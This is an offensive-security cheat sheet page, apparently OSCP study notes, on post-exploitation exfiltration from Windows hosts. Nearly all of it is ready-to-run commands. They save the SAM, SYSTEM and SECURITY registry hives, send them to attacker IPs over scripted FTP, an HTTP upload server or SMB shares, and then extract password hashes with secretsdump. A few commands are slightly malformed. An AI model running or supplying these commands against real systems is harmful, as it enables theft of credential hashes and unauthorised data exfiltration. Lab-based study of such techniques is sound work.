Howlsec
HOWLSEC
offensive security
// notes/ Pivoting & Tunneling
🚀

Exfiltration

Dump the SAM hive to the pwd

#post exploitation#adot8
source · oscp.adot8.com · post-exploitation/exfiltration ↗

Exfiltration

Dump the SAM hive to the pwd

🐺 howlsec@kali
01reg.exe save HKLM\SAM C:\programdata\sam.bak

Dump the System hive to the pwd

🐺 howlsec@kali
01reg.exe save HKLM\SYSTEM C:\programdata\system.bak

Dump the Security hive to the pwd

🐺 howlsec@kali
01reg.exe save HKLM\SECURITY C:\programdata\security.bak

Spin up an smb server

🐺 howlsec@kali
$impacket-smbserver share share/ -smb2support
🐺 howlsec@kali
$echo open 10.9.254.6 21 > ftp.txt && echo user anonymous >> ftp.txt && echo anonymous >> ftp.txt && echo binary >> ftp.txt && echo put C:\programdata\sam.bak >> ftp.txt && echo put C:\programdata\system.bak >> ftp.txt && echo put C:\programdata\security.bak && echo bye >> ftp.txt

$ftp -v -n -s:ftp.txt

Exfiltrate data

🐺 howlsec@kali
01python3 -m uploadserver
🐺 howlsec@kali
01curl -X POST http://HOST/upload -H -F 'files=@file.txt'

OR

🐺 howlsec@kali
01python -m pyftpdlib -p 21 --write
🐺 howlsec@kali
01echo open 192.168.45.237 21 > ftp.txt && echo user anonymous >> ftp.txt && echo anonymous >> ftp.txt && echo binary >> ftp.txt && echo put C:\programdata\sam.bak >> ftp.txt && echo put C:\programdata\system.bak >> ftp.txt && echo put C:\programdata\security.bak && echo bye >> ftp.txt
🐺 howlsec@kali
01ftp -v -n -s:ftp.txt

OR

🐺 howlsec@kali
01New-SmbMapping -LocalPath A: -RemotePath \\192.168.229.121\share -TcpPort 8888
🐺 howlsec@kali
01net use "\\192.168.171.121\adot8"

02copy sam.bak "\\192.168.171.121\adot8\sam.bak"

03copy system.bak "\\192.168.171.121\adot8\system.bak"

04copy security.bak "\\192.168.171.121\adot8\security.bak"

Dump hashes with secretsdump

🐺 howlsec@kali
$secretsdump.py -sam sam.bak -system system.bak -security security.bak local